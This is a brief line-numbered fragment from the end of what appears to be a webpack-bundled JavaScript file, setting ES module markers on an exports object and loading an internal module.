  3466. Object.defineProperty(e, Symbol.toStringTag, {
  3467. value: "Module",
  3468. }),
  3469. Object.defineProperty(e, "__esModule", {
  3470. value: !0,
  3471. });
  3472. });
  3473. var a = o(366);
  3474. })();